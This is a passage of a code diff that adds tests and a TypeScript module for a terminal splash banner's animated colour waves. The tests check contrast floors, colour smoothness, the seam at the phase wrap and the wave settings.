+  assert.ok(pairs.length > 2000, `only ${pairs.length} adjacent pairs`);
+
+  const offenders = [];
+  for (const [name, p] of THEMES) {
+    const { stops } = bannerStops(p);
+    const table = buildBannerColorTable(p);
+    const staticColour = (cell) => bannerColor(p, stops, cell.layer, cell.t);
+    let staticWorst = 0;
+    for (const { a, b } of pairs)
+      staticWorst = Math.max(
+        staticWorst,
+        perceptualStep(staticColour(a), staticColour(b)),
+      );
+
+    let animatedWorst = 0;
+    for (const phase of PHASE_SWEEP) {
+      const hue = makeCellHue(COLUMNS, ROWS, { field: phase, wordmark: phase });
+      const colour = (cell, column, row) =>
+        table.lookup(cell.layer, cell.t, hue(cell.layer, cell.t, column, row));
+      for (const { a, b, ax, ay, bx, by } of pairs)
+        animatedWorst = Math.max(
+          animatedWorst,
+          perceptualStep(colour(a, ax, ay), colour(b, bx, by)),
+        );
+    }
+    if (animatedWorst > staticWorst + JND)
+      offenders.push(
+        `${name} animated ${animatedWorst.toFixed(1)} > static ${staticWorst.toFixed(1)}`,
+      );
+  }
+  assert.deepEqual(
+    offenders.slice(0, 6),
+    [],
+    `${offenders.length} themes worse than static`,
+  );
+});
+
+/**
+ * The TEMPORAL half of the same question: how far a single cell's colour can move
+ * in one 60Hz frame. Spatial smoothness does not imply temporal smoothness — a
+ * wave could be a smooth gradient that strobes.
+ *
+ * Bound is 3 dE00 per frame, three JNDs. Measured worst on the defaults is 2.071
+ * across all 62 themes, and a cell needs many frames to cross the ramp, so this
+ * is a drift rather than a flicker.
+ */
+test("no cell's colour moves more than 3 dE00 in one 60Hz frame", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const pairs = adjacentSameLayerPairs(banner);
+  const sampled = pairs.filter((_, index) => index % 17 === 0);
+  const frame = 1 / 60;
+  const offenders = [];
+  for (const [name, p] of THEMES) {
+    const table = buildBannerColorTable(p);
+    let worst = 0;
+    for (let step = 0; step < 60; step += 1) {
+      const seconds = (step / 60) * FIELD_PERIOD_SECONDS;
+      const before = makeCellHue(COLUMNS, ROWS, phaseAt(seconds));
+      const after = makeCellHue(COLUMNS, ROWS, phaseAt(seconds + frame));
+      for (const { a, ax, ay } of sampled)
+        worst = Math.max(
+          worst,
+          perceptualStep(
+            table.lookup(a.layer, a.t, before(a.layer, a.t, ax, ay)),
+            table.lookup(a.layer, a.t, after(a.layer, a.t, ax, ay)),
+          ),
+        );
+    }
+    if (worst > 3) offenders.push(`${name} ${worst.toFixed(2)}/frame`);
+  }
+  assert.deepEqual(offenders, [], `temporal steps: ${offenders.join(", ")}`);
+});
+
+/**
+ * THE SEAM GATE — the defect the banding gate actually caught first.
+ *
+ * The three-stop ramp is an open path: position 0 is stop 0, position 1 is
+ * stop 2, and they are the two most distant colours in the palette. A phase
+ * axis is cyclic, so driving the ramp with a raw wrap puts a full-palette
+ * discontinuity somewhere on screen at all times — measured at 182.5 sRGB on
+ * buzz-dark before `cyclicRampPosition` folded the axis into a palindrome.
+ *
+ * Asserting only the interior buckets cannot see this: the seam lives exactly
+ * at the wrap, which is the one adjacency an interior sweep skips. So this
+ * checks the wrap-around pair explicitly, on every theme.
+ */
+test("the hue axis has no seam at the phase wrap", () => {
+  // The fold itself: adjacent phases across the wrap map to adjacent ramp
+  // positions, and the ends of the ramp are turning points, not neighbours.
+  const epsilon = 1e-4;
+  assert.ok(
+    Math.abs(cyclicRampPosition(1 - epsilon) - cyclicRampPosition(0)) < 1e-3,
+    "fold is discontinuous at the wrap",
+  );
+  assert.ok(
+    Math.abs(cyclicRampPosition(0.5 - epsilon) - cyclicRampPosition(0.5)) <
+      1e-3,
+    "fold is discontinuous at the turn",
+  );
+
+  const offenders = [];
+  for (const [name, p] of THEMES) {
+    const table = buildBannerColorTable(p);
+    // Walk BOTH waves' real hue axes across a full cycle, including the wrap, at
+    // a fixed cell: consecutive samples must never jump. The field is the layer
+    // the 182.5 seam was measured on, so leaving it out — as my first version of
+    // this gate did — tests the wrong wave.
+    let previousHead = null;
+    let previousField = null;
+    let max = 0;
+    const steps = 1200;
+    for (let step = 0; step <= steps; step += 1) {
+      const phase = step / steps;
+      const hue = makeCellHue(COLUMNS, ROWS, { field: phase, wordmark: phase });
+      const head = table.lookup("head", 0, hue("head", 0.5, 0, 0));
+      const field = table.lookup("field", 0.5, hue("field", 0.5, 70, 30));
+      if (previousHead) max = Math.max(max, perceptualStep(previousHead, head));
+      if (previousField)
+        max = Math.max(max, perceptualStep(previousField, field));
+      previousHead = head;
+      previousField = field;
+    }
+    // Per-sample bound of 3 dE00 at 1200 samples per cycle, finer than 60Hz over
+    // a 9.5s period, so a real seam cannot hide between samples. Generous against
+    // sampling noise, brutal against a full-palette discontinuity: the unfolded
+    // seam measured 182.5 sRGB / 55.6 dE00 on buzz-dark.
+    if (max > 3) offenders.push(`${name} ${max.toFixed(2)}`);
+  }
+  assert.deepEqual(offenders, [], `temporal seams: ${offenders.join(", ")}`);
+});
+
+/**
+ * THE INTERPOLATED WORDMARK FLOOR — the gate that caught a real WCAG failure.
+ *
+ * The contrast gate above walks table SAMPLES. That is not what paints: `lookup`
+ * interpolates between samples, and this gate exists because the two disagree.
+ * `bannerStops` solves each wordmark stop to sit EXACTLY on 4.5, and contrast is
+ * convex along a straight sRGB blend, so the chord between two on-floor samples
+ * passes UNDER the floor. Measured 4.4766 on solarized-light at hue 0.2188
+ * before `sampleHead` re-lifted the blend.
+ *
+ * A sampled-only gate is blind to this by construction, and no bucket count
+ * fixes it — the dip shrinks asymptotically and never reaches zero. So this
+ * walks the axis at 4000 points per theme, far finer than any display samples it.
+ */
+test("interpolated wordmark colour never dips below the 4.5 WCAG floor", () => {
+  const offenders = [];
+  for (const [name, p] of THEMES) {
+    const table = buildBannerColorTable(p);
+    let worst = Number.POSITIVE_INFINITY;
+    for (let step = 0; step <= 4000; step += 1) {
+      worst = Math.min(
+        worst,
+        ratio(table.lookup("head", 0, step / 4000), p.background),
+      );
+    }
+    // No epsilon on the floor itself: 4.5 is the standard, and the whole point
+    // of this gate is that a 0.023 shortfall is still a shortfall. A tiny
+    // tolerance for float noise only.
+    if (worst < WORDMARK_FLOOR - 1e-9)
+      offenders.push(`${name} ${worst.toFixed(4)}`);
+  }
+  assert.deepEqual(offenders, [], `below floor: ${offenders.join(", ")}`);
+});
+
+/**
+ * THE INTENSITY CLAMP, asserted rather than merely documented.
+ *
+ * `BannerWaveConfig.intensity` documents its range as 0..1 and promises values
+ * outside it are clamped. A mutant proved that promise was unverified: deleting
+ * the `Math.max(0, Math.min(1, ...))` left every gate green, because all of them
+ * drove intensity to values that were already in range. Documented-and-unchecked
+ * is how a knob becomes a trap — exactly the failure mode Eva flagged.
+ *
+ * The clamp is what makes the safe-by-construction argument sound: intensity only
+ * narrows which SUBRANGE of the hue axis is used, and the floors are proven over
+ * the whole axis, so in-range values cannot reach an unproven colour. Without the
+ * clamp, intensity 9 WIDENS the position past the axis and the argument collapses.
+ * So this asserts the mechanism the argument depends on.
+ */
+test("intensity is clamped to 0..1 so it can never widen past the proven axis", () => {
+  const columns = 112;
+  const rows = 46;
+  const inRange = (value) => value >= -1e-9 && value <= 1 + 1e-9;
+
+  // Out-of-range settings must behave EXACTLY as their clamped equivalents, and
+  // must never produce a hue position outside the axis the floors are proven on.
+  const cases = [
+    [9, 1],
+    [-5, 0],
+    [1e6, 1],
+  ];
+  for (const [wild, clamped] of cases) {
+    const wildHue = makeCellHue(
+      columns,
+      rows,
+      { field: 0.3, wordmark: 0.3 },
+      {
+        field: { ...FIELD_WAVE, intensity: wild },
+        wordmark: { ...WORDMARK_WAVE, intensity: wild },
+      },
+    );
+    const clampedHue = makeCellHue(
+      columns,
+      rows,
+      { field: 0.3, wordmark: 0.3 },
+      {
+        field: { ...FIELD_WAVE, intensity: clamped },
+        wordmark: { ...WORDMARK_WAVE, intensity: clamped },
+      },
+    );
+    for (let row = 0; row < rows; row += 5)
+      for (let column = 0; column < columns; column += 5) {
+        const field = wildHue("field", 0.5, column, row);
+        assert.ok(
+          inRange(field),
+          `intensity ${wild} put field hue at ${field}, outside the proven axis`,
+        );
+        assert.equal(
+          field,
+          clampedHue("field", 0.5, column, row),
+          `intensity ${wild} did not behave as ${clamped}`,
+        );
+      }
+    for (let step = 0; step <= 20; step += 1) {
+      const head = wildHue("head", step / 20, 0, 0);
+      assert.ok(
+        inRange(head),
+        `intensity ${wild} put wordmark hue at ${head}, outside the proven axis`,
+      );
+      assert.equal(head, clampedHue("head", step / 20, 0, 0));
+    }
+  }
+});
+
+/**
+ * THE WORDMARK ACTUALLY ANIMATES, measured on PAINTED OUTPUT.
+ *
+ * A mutant found this gap, and it was a serious one: swapping the table's
+ * wordmark lookup from the wave's hue to the cell's geometric `t`
+ * (`sampleHead(hue)` -> `sampleHead(t)`) kills the wordmark wave stone dead — half
+ * of what Tyler asked for — and every other gate stayed green.
+ *
+ * Why they all missed it: the direction and seam gates call `makeCellHue` and
+ * `lookup` themselves, passing the hue in explicitly, so they verify the hue
+ * FUNCTION and the TABLE in isolation. Nothing checked that the painter feeds one
+ * into the other for the head layer. The field was covered only by luck — its
+ * gates happen to go through the painter.
+ *
+ * So this asserts the composition, on the pixels: over a phase sweep, the
+ * wordmark's painted colours must change, and within a single frame they must
+ * vary along the mark's ink span. Both halves are needed — a wordmark frozen at
+ * one colour satisfies neither, and one painted by `t` alone satisfies the second
+ * but not the first.
+ */
+test("the wordmark's painted colours animate with phase", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const [name, p] = THEMES[0];
+  const table = buildBannerColorTable(p);
+
+  const headFrame = (phase) => {
+    const target = recordingCanvas();
+    paintTerminalBanner(target.canvas, banner, p, 1, {
+      phase: { field: phase, wordmark: phase },
+      table,
+    });
+    // Pick out the head layer's draws. `paintTerminalBanner` emits one draw per
+    // non-blank layered cell in geometry order, so walking the geometry the same
+    // way keeps the two in step.
+    const heads = [];
+    let index = 0;
+    for (const cells of banner.cells)
+      for (const cell of cells) {
+        if (cell.char === " " || !cell.layer) continue;
+        if (cell.layer === "head") heads.push(target.draws[index].color);
+        index += 1;
+      }
+    return heads;
+  };
+
+  const frames = PHASE_SWEEP.map(headFrame);
+  assert.ok(
+    frames[0].length > 50,
+    `${name} painted ${frames[0].length} head cells`,
+  );
+
+  // 1. The wordmark must not be a still: distinct frames across the sweep.
+  const distinctFrames = new Set(frames.map((frame) => frame.join(""))).size;
+  assert.ok(
+    distinctFrames >= PHASE_SWEEP.length - 1,
+    `wordmark produced only ${distinctFrames} distinct frames over ${PHASE_SWEEP.length} phases`,
+  );
+
+  // 2. And within a frame it must be a WAVE, not a flat wash.
+  for (const [index, frame] of frames.entries()) {
+    assert.ok(
+      new Set(frame).size > 2,
+      `frame ${index} painted the wordmark in only ${new Set(frame).size} colour(s)`,
+    );
+  }
+});
+
+/**
+ * KNOB EXTREMES. Eva: "a knob that can silently break WCAG is a trap, not a
+ * feature" — so the floors are gated at the documented ends of each knob's
+ * range, not just at the defaults.
+ *
+ * The documented ranges, and why they are what they are:
+ *  - intensity 0..1        SAFE THROUGHOUT, and by construction rather than by
+ *                          luck: intensity only narrows which SUBRANGE of the
+ *                          hue axis is used, and the floors are proven over the
+ *                          ENTIRE axis. Out-of-range values are clamped.
+ *  - wavelength .125..2.0  SAFE. Contrast is independent of wavelength (it only
+ *                          rescales position along an axis whose floors are
+ *                          proven end to end), so the binding constraint is
+ *                          spatial busyness: MEASURED in dE00, worst excess over
+ *                          a theme's own static step is 0.47 at the default and
+ *                          under 0.62 through 2.0; at 4.0 it is 8.92 and fails
+ *                          24 themes.
+ *  - direction any vector  SAFE. Direction selects which bucket a cell reads and
+ *                          cannot reach an unsampled colour.
+ *  - seconds > 10          Not a contrast knob at all; gated separately as
+ *                          "slow".
+ */
+test("contrast floors hold at every documented knob extreme", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const extremes = {
+    "intensity=0": { intensity: 0 },
+    "intensity=1": { intensity: 1 },
+    "intensity=-5 (clamps to 0)": { intensity: -5 },
+    "intensity=9 (clamps to 1)": { intensity: 9 },
+    "wavelength=0.125": { wavelength: 0.125 },
+    "wavelength=2.0": { wavelength: 2.0 },
+    "direction=(1,1)": { direction: { x: 1, y: 1 } },
+    "direction=(-1,0)": { direction: { x: -1, y: 0 } },
+    "direction=(0,-1)": { direction: { x: 0, y: -1 } },
+  };
+  const offenders = [];
+  // Six themes, not all 62: this is the same colour surface the all-theme gates
+  // already cover, crossed against nine settings and a phase sweep. The extremes
+  // question is whether a KNOB can reach an unproven colour, and the LUT is
+  // shared across knobs, so theme breadth is covered elsewhere.
+  for (const [name, p] of THEMES.slice(0, 6)) {
+    const table = buildBannerColorTable(p);
+    for (const [label, override] of Object.entries(extremes)) {
+      const waves = {
+        field: { ...FIELD_WAVE, ...override },
+        wordmark: { ...WORDMARK_WAVE, ...override },
+      };
+      for (const phase of PHASE_SWEEP) {
+        const target = recordingCanvas();
+        paintTerminalBanner(target.canvas, banner, p, 1, {
+          phase: { field: phase, wordmark: phase },
+          table,
+          waves,
+        });
+        assert.ok(target.draws.length > 1000, `${label} drew nothing`);
+        for (const { color } of target.draws) {
+          const cr = ratio(color, p.background);
+          // Every painted colour must sit inside the union of the layers'
+          // envelopes: the wordmark at or above 4.5, the field within its decay
+          // band. Below the field's edge floor nothing is legible at all.
+          if (cr < FIELD_EDGE - 0.02)
+            offenders.push(`${name} ${label} phase ${phase}: ${cr.toFixed(3)}`);
+        }
+      }
+    }
+  }
+  assert.deepEqual(offenders.slice(0, 6), [], `${offenders.length} violations`);
+});
+
+/**
+ * The knob-extreme gate above is only as good as its ability to SEE a violation,
+ * and it paints through the real painter, so it is worth proving it is not
+ * vacuous. An intensity that pushed colours outside the proven axis would be
+ * caught; here the axis is deliberately overrun to show the instrument fires.
+ */
+test("the knob-extreme gate can actually detect an out-of-envelope colour", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const [, p] = THEMES[0];
+  const table = buildBannerColorTable(p);
+  // A table whose field lookup returns the background itself: contrast 1.0,
+  // below the 1.04 edge floor. If the gate's predicate is wrong this passes.
+  const broken = {
+    ...table,
+    lookup: (layer, t, hue) =>
+      layer === "field" ? p.background : table.lookup(layer, t, hue),
+  };
+  const target = recordingCanvas();
+  paintTerminalBanner(target.canvas, banner, p, 1, {
+    phase: { field: 0.3, wordmark: 0.3 },
+    table: broken,
+  });
+  const violations = target.draws.filter(
+    ({ color }) => ratio(color, p.background) < FIELD_EDGE - 0.02,
+  );
+  assert.ok(
+    violations.length > 100,
+    `predicate saw only ${violations.length} violations on a deliberately broken table`,
+  );
+});
+
+/**
+ * The animated painter must colour cells by their WAVE position, not by their
+ * geometric `t`. If the painter ignored the phase argument this would pass
+ * trivially, so the assertion is that cells sharing a `t` but sitting in
+ * different columns get DIFFERENT colours — which only a projection-derived hue
+ * axis produces.
+ */
+test("animated field colour varies along a row, not just radially", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const [, p] = THEMES[0];
+  const table = buildBannerColorTable(p);
+  const target = recordingCanvas();
+  paintTerminalBanner(target.canvas, banner, p, 1, {
+    phase: { field: 0.3, wordmark: 0.3 },
+    table,
+  });
+  // Group field-layer draws by y, and check colour varies across x within a row.
+  const rows = new Map();
+  for (const { args, color } of target.draws) {
+    const [, x, y] = args;
+    if (!rows.has(y)) rows.set(y, []);
+    rows.get(y).push({ x, color });
+  }
+  const varied = [...rows.values()].filter(
+    (cells) => new Set(cells.map((cell) => cell.color)).size > 2,
+  );
+  assert.ok(
+    varied.length > 5,
+    `only ${varied.length} rows show horizontal colour variation`,
+  );
+});
+
+/** Successive frames must actually differ, or the "animation" is a still. */
+test("successive frames differ and a full cycle returns to the start", () => {
+  const banner = buildTerminalBanner(COLUMNS, ROWS, ASPECT);
+  const [, p] = THEMES[0];
+  const table = buildBannerColorTable(p);
+  const frame = (seconds) => {
+    const target = recordingCanvas();
+    paintTerminalBanner(target.canvas, banner, p, 1, {
+      phase: phaseAt(seconds),
+      table,
+    });
+    return target.draws.map((draw) => draw.color).join("");
+  };
+  const a = frame(0);
+  // One second of a 13s traversal is ~8 columns of drift: visible, not static.
+  assert.notEqual(a, frame(1));
+  // Seamless loop: the least common period of the two waves returns both to 0.
+  // With 13s and 9.5s periods that is 247s (13*19 = 9.5*26), NOT the raw
+  // product 123.5, which is 9.5 field cycles — half a cycle off.
+  assert.equal(a, frame(2 * FIELD_PERIOD_SECONDS * WORDMARK_PERIOD_SECONDS));
+});
+
+/** The table is what makes this affordable, and its shape is load-bearing. */
+test("the colour table is phase-independent and completely populated", () => {
+  const [, p] = THEMES[0];
+  const table = buildBannerColorTable(p);
+  assert.equal(table.head.length, HUE_BUCKETS);
+  assert.equal(table.field.length, CONTRAST_BUCKETS);
+  for (const row of table.field) assert.equal(row.length, HUE_BUCKETS);
+  for (const colour of [...table.head, ...table.field.flat()])
+    assert.match(colour, /^#[0-9a-f]{6}$/);
+});
diff --git a/desktop/src/features/terminal/terminalBannerWave.ts b/desktop/src/features/terminal/terminalBannerWave.ts
new file mode 100644
index 0000000000..60a58fd519
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBannerWave.ts
@@ -0,0 +1,484 @@
+/**
+ * Terminal banner animation — the MOTION half of the banner contract.
+ *
+ * Geometry (terminalBanner.ts) is static and colour-free; colour
+ * (terminalBannerColor.ts) maps (layer, t, hue) -> hex. This module supplies
+ * the `hue` axis as a function of time and screen position, plus the lookup
+ * table that makes it affordable.
+ *
+ * Tyler, amendment (msg 25bf80a2) — AUTHORITATIVE: the field wave
+ * "originates bottom right and travels top left", not plain right-to-left.
+ * This SUPERSEDES the original directive: "slow waves of the buzz theme colors
+ * moving across the honeycomb lattice right to left, with a separate slow
+ * color wave on the `buzz term` going left to right". The wordmark half is
+ * unchanged by the amendment; only the field's axis moved.
+ *
+ * Two independent waves, different axes, different periods:
+ *   - field    -> originates bottom-right, travels top-left across the whole
+ *                 viewport (see FIELD_WAVE.direction = {x:-1, y:-1})
+ *   - wordmark -> left-to-right across the wordmark's own ink span
+ *
+ * LOOP SEMANTICS. Phase advances monotonically and wraps at 1 -> 0 (`phaseAt`
+ * via `wrap01`); travel is continuous and one-way for as long as it advances,
+ * and one full cycle translates the pattern by exactly one spatial period, so
+ * the wrap is C0 with no snap and no reversal. The palette axis is folded
+ * (`cyclicRampPosition`) so the open three-stop ramp can be driven by a cyclic
+ * phase without a seam. Proof that folding the palette does NOT fold the motion
+ * is on `cyclicRampPosition` -- read it before touching either.
+ *
+ * The bevels do not animate. They are the chassis; a moving highlight would
+ * read as the box itself deforming.
+ */
+import type { TerminalPalette } from "../../shared/theme/terminal-palette";
+import {
+  type Layer,
+  bannerColor,
+  bannerStops,
+  hex2rgb,
+  lift,
+  rgb2hex,
+} from "./terminalBannerColor";
+
+/** WCAG 2.2 SC 1.4.3 body text, the wordmark's floor. Re-declared here because
+ *  the interpolated blend has to be re-lifted to it; see `sampleHead`. */
+const WORDMARK_FLOOR = 4.5;
+
+/**
+ * ============================================================================
+ * TUNING. Everything Tyler can retune lives in this one block.
+ * ============================================================================
+ *
+ * Two independent waves, one config each. Every knob states its unit and what
+ * "bigger" does. Nothing else in this file needs editing to retune the
+ * animation.
+ *
+ * `direction` is a vector in VISUAL space, not cell space. This matters: a
+ * terminal cell is 8.4 x 17 CSS px, so it is about 2:1 tall, and a naive
+ * (-1,-1) over cell indices would render as a shallow 27-degree wave rather
+ * than the intended diagonal. `projectWave` converts to visual space before
+ * projecting, so a 45-degree vector here looks like 45 degrees on screen.
+ */
+export type BannerWaveConfig = {
+  /**
+   * Travel direction in visual space; x grows right, y grows DOWN. The wave
+   * moves TOWARD this vector, so it appears to originate from the opposite
+   * corner. Magnitude is irrelevant — it is normalised.
+   */
+  direction: { x: number; y: number };
+  /**
+   * Seconds for one full traversal of the colour ramp. BIGGER = SLOWER.
+   * This is ambience, not a screensaver: the direction gate is indifferent to
+   * this value but the "slow" gate requires it to stay above 5s.
+   */
+  seconds: number;
+  /**
+   * How much of the colour ramp is visible across one screen-width of travel,
+   * in ramp traversals. BIGGER = MORE COLOUR BANDS ON SCREEN AT ONCE (a
+   * tighter, busier wave); smaller = a broader, calmer wash.
+   *
+   * 0.5 is one traversal of the ramp across the span, which is exactly the
+   * spatial colour gradient the static banner shipped with.
+   *
+   * SAFE RANGE 0.125..2.0, measured against the no-worse-than-static gate in
+   * CIEDE2000: worst excess over a theme's own static step is 0.47 at 0.5 and
+   * stays under 0.62 all the way to 2.0. At 4.0 it hits 8.92 and fails 24
+   * themes — that is where the lattice genuinely reads as stripes rather than a
+   * wash. Contrast is INDEPENDENT of this knob (it only rescales position along
+   * an axis whose floors are proven end to end), so the binding constraint here
+   * is spatial busyness, not legibility.
+   */
+  wavelength: number;
+  /**
+   * Fraction of the colour ramp the wave actually sweeps, 0..1. BIGGER = MORE
+   * COLOUR TRAVEL; 0 pins every cell to the ramp's midpoint (a still, single
+   * colour) and 1 uses the full three-stop sweep.
+   *
+   * CONTRAST-SAFE OVER ITS WHOLE RANGE, and that is a property of the design
+   * rather than of the default: intensity only narrows which part of the hue
+   * axis gets used, and the contrast gate covers the ENTIRE hue axis on all 62
+   * themes. So no value in [0,1] can reach an unsampled, unproven colour.
+   * Values outside [0,1] are clamped for the same reason.
+   */
+  intensity: number;
+};
+
+/**
+ * Tyler: field originates BOTTOM-RIGHT and travels to TOP-LEFT, so the
+ * direction vector points up-and-left. The wordmark keeps its own
+ * left-to-right sweep, anchored to the letters rather than the viewport.
+ *
+ * Tyler, amendment (msg 4e7abbc8): "double the animation speed on the buzz
+ * term splash screen". Both periods halved from the original 26s/19s; the
+ * "slow" gate's floor moved from 10s to 5s to match.
+ */
+export const FIELD_WAVE: BannerWaveConfig = {
+  direction: { x: -1, y: -1 },
+  seconds: 13,
+  wavelength: 0.5,
+  intensity: 1,
+};
+
+export const WORDMARK_WAVE: BannerWaveConfig = {
+  // Left-to-right along the mark's own ink span; y is unused for the wordmark,
+  // whose axis is the geometry's `t`, not a screen position.
+  direction: { x: 1, y: 0 },
+  seconds: 9.5,
+  wavelength: 0.5,
+  intensity: 1,
+};
+
+/** Kept as named exports because the "slow" and seam gates assert on them. */
+export const FIELD_PERIOD_SECONDS = FIELD_WAVE.seconds;
+export const WORDMARK_PERIOD_SECONDS = WORDMARK_WAVE.seconds;
+
+/**
+ * Sampling resolution of the `hue` axis.
+ *
+ * Bucket COUNT is not what makes the gradient smooth — `lookup` interpolates
+ * between neighbouring samples, so its output is continuous in hue at any
+ * count. I measured the alternative first and it does not work: with
+ * nearest-bucket lookup the worst adjacent-sample step on light-plus only fell
+ * from 22.1 to 7.0 going from 256 buckets to 2048, because the three-stop ramp
+ * has a genuinely steep stretch rather than a quantisation artifact. Eight
+ * times the memory for a step still visible on a light theme is the wrong
+ * trade; interpolating removes the axis entirely.
+ *
+ * So this count controls FIDELITY only: how closely the piecewise-linear
+ * reconstruction tracks the true curved LCh path. 128 samples holds every
+ * shipped theme's deviation from `bannerColor` under the fidelity gate.
+ */
+export const HUE_BUCKETS = 128;
+
+/**
+ * Sampling resolution of the field's radial CONTRAST axis, also interpolated.
+ *
+ * This axis does not move, so it costs nothing per frame — but it multiplies
+ * the fill: the field's `atRatio` pin is a 28-step bisection at ~23us a call
+ * against ~0.9us for the wordmark's `lift` path, so the field table is
+ * essentially the whole build cost. Interpolation is what lets this stay small
+ * enough to fill without stalling the reveal.
+ */
+export const CONTRAST_BUCKETS = 24;
+
+/**
+ * Position on a sampled axis, as a fractional index into `buckets` samples
+ * taken at bucket CENTRES. Clamped at both ends so the half-bucket beyond the
+ * first and last centres reads as that centre rather than extrapolating.
+ */
+const axisPosition = (value: number, buckets: number) =>
+  Math.min(buckets - 1, Math.max(0, Math.min(1, value) * buckets - 0.5));
+
+/** Wrap into [0,1). Phase is cyclic; a bare modulo leaves negatives negative. */
+const wrap01 = (value: number) => value - Math.floor(value);
+
+/**
+ * THE SEAM FIX. A cyclic axis cannot drive an open ramp directly.
+ *
+ * The three-stop ramp is a PATH, not a loop: `ramp(0)` is stop 0 and `ramp(1)`
+ * is stop 2, and those two ends are as far apart as the palette gets. Feeding
+ * it a wrapping phase means that every cycle, somewhere on screen, adjacent
+ * cells straddle the 1 -> 0 wrap and jump the entire width of the palette. On
+ * buzz-dark that seam measured 182.5 in sRGB distance (#3dcf55 against
+ * #7bb7ff) — a hard colour edge sweeping across the lattice once per period,
+ * which is not "slow waves of the theme colours", it is a glitch.
+ *
+ * The fix is to make the cyclic axis traverse the ramp and come back:
+ * 0 -> 1 over the first half of the cycle, 1 -> 0 over the second. The ends
+ * are then interior turning points and adjacency holds everywhere, so the loop
+ * is seamless by construction rather than by choice of period.
+ *
+ * THIS DOES NOT REVERSE THE WAVE, and an earlier version of this comment
+ * claimed it did. The claim was false and it cost a review round (Wren's #4541
+ * gate), so the reasoning is recorded here rather than left to be re-derived.
+ *
+ * Write the field as `hue(x, phase) = A(G(p(x) + phase))`, where `p` is affine
+ * in position (see `projectWave`), `G` is this fold, and `A` is `applyIntensity`
+ * (affine, monotone). Phase enters `G` ONLY through the sum `p(x) + phase`, so
+ * for a shift `d` along +direction, `p(x + d*u) = p(x) - d*wavelength/span` and
+ *
+ *     hue(x + d*u, phase + D) = hue(x, phase)   for   d = D * span / wavelength
+ *
+ * exactly, at every phase, FOR ANY `G` WHATSOEVER. The shape of `G` sets the
+ * spatial PROFILE; it cannot touch the direction of MOTION. `d` has the sign of
+ * `D`, so travel is uniformly one-way for as long as phase advances, and one
+ * full cycle translates the pattern by exactly one spatial period -- continuous
+ * BR->TL travel and a seamless wrap at the same time, not a trade between them.
+ *
+ * The mistake worth not repeating: the fold DOES make a fixed cell's colour
+ * oscillate (cell(60,25) reads 0.5 0.7 0.9 0.9 0.7 0.5 0.3 0.1 0.1 0.3 0.5 over
+ * one cycle). That is a property of a POINT, not of the pattern -- it is what
+ * every travelling wave does to a point it passes over -- and reading it as a
+ * direction reversal is what put the false sentence here. `travelDirection` in
+ * the test file measures the pattern across the WHOLE cycle, including the
+ * alleged turn at phase 0.5 and the wrap, with a time-folded positive control.
+ *
+ * What the fold does cost is aesthetic, not kinematic: the spatial palette
+ * profile is mirrored (A->C->A) rather than circulating (A->B->C->A).
+ */
+export function cyclicRampPosition(phase: number): number {
+  const wrapped = wrap01(phase);
+  return wrapped < 0.5 ? wrapped * 2 : 2 - wrapped * 2;
+}
+
+/** Cell aspect: cells are 8.4 x 17 CSS px, so one row is ~2.02 columns tall. */
+const CELL_ASPECT = 17 / 8.4;
+
+/**
+ * Apply `intensity` about the ramp's midpoint. Narrowing rather than scaling
+ * keeps the sweep centred, so turning intensity down fades toward the middle
+ * colour instead of sliding toward one end.
+ */
+const applyIntensity = (position: number, intensity: number) =>
+  0.5 + (position - 0.5) * Math.max(0, Math.min(1, intensity));
+
+/**
+ * THE WAVE AXIS: a projection onto a direction vector in VISUAL space.
+ *
+ * `phase(cell) = (x*dx + y*dy)/wavelength - t*speed`, per Eva's spec, with two
+ * details that are easy to get wrong and invisible in a still frame:
+ *
+ *  - ASPECT. Row indices are multiplied by ~2.02 before projecting, because a
+ *    cell is about twice as tall as it is wide. Without this a (-1,-1) vector
+ *    renders as a ~27-degree wave, not the 45 degrees it reads as in source.
+ *  - SIGN. The projection is NEGATED so the wave travels TOWARD `direction`.
+ *    A crest sits where the projection is constant; as time advances, holding
+ *    it constant requires moving along +direction. For the field's (-1,-1)
+ *    that is up-and-left, i.e. originating bottom-right as Tyler asked.
+ *
+ * The normalisation divisor is the projection's own visual span, so
+ * `wavelength` means the same thing (ramp traversals per screen-width) at every
+ * viewport size and for every direction.
+ */
+export function projectWave(
+  config: BannerWaveConfig,
+  column: number,
+  row: number,
+  columns: number,
+  rows: number,
+): number {
+  const { x: dx, y: dy } = config.direction;
+  const length = Math.hypot(dx, dy) || 1;
+  const unitX = dx / length;
+  const unitY = dy / length;
+  const visualY = row * CELL_ASPECT;
+  const visualHeight = Math.max(1, rows * CELL_ASPECT);
+  const span =
+    Math.abs(unitX) * Math.max(1, columns) + Math.abs(unitY) * visualHeight;
+  return (-(column * unitX + visualY * unitY) / span) * config.wavelength;
+}
+
+/**
+ * The field's hue axis: projected position plus phase, folded, then narrowed by
+ * intensity.
+ */
+export function fieldHue(
+  config: BannerWaveConfig,
+  column: number,
+  row: number,
+  columns: number,
+  rows: number,
+  phase: number,
+): number {
+  return applyIntensity(
+    cyclicRampPosition(projectWave(config, column, row, columns, rows) + phase),
+    config.intensity,
+  );
+}
+
+/**
+ * The wordmark wave: LEFT TO RIGHT, over the mark's own ink span.
+ *
+ * The geometry already hands us `t` = 0 at the wordmark's left edge to 1 at its
+ * right, so the mark's wave rides that rather than viewport columns: the sweep
+ * stays anchored to the letters at every viewport width. SUBTRACTING phase is
+ * what makes it travel rightward, opposite to the field.
+ */
+export function wordmarkHue(
+  config: BannerWaveConfig,
+  t: number,
+  phase: number,
+): number {
+  const along = config.direction.x >= 0 ? t : 1 - t;
+  return applyIntensity(
+    cyclicRampPosition(along * config.wavelength - phase),
+    config.intensity,
+  );
+}
+
+/** The pair of wave configs in force. Overridable so the knob-extreme gates can
+ *  drive documented settings without mutating module state. */
+export type BannerWaves = {
+  field: BannerWaveConfig;
+  wordmark: BannerWaveConfig;
+};
+export const DEFAULT_WAVES: BannerWaves = {
+  field: FIELD_WAVE,
+  wordmark: WORDMARK_WAVE,
+};
+
+/**
+ * A cell's hue axis, as a closure over everything that is constant for a frame.
+ *
+ * The split is deliberate: viewport extent, phase and tuning are per-FRAME, and
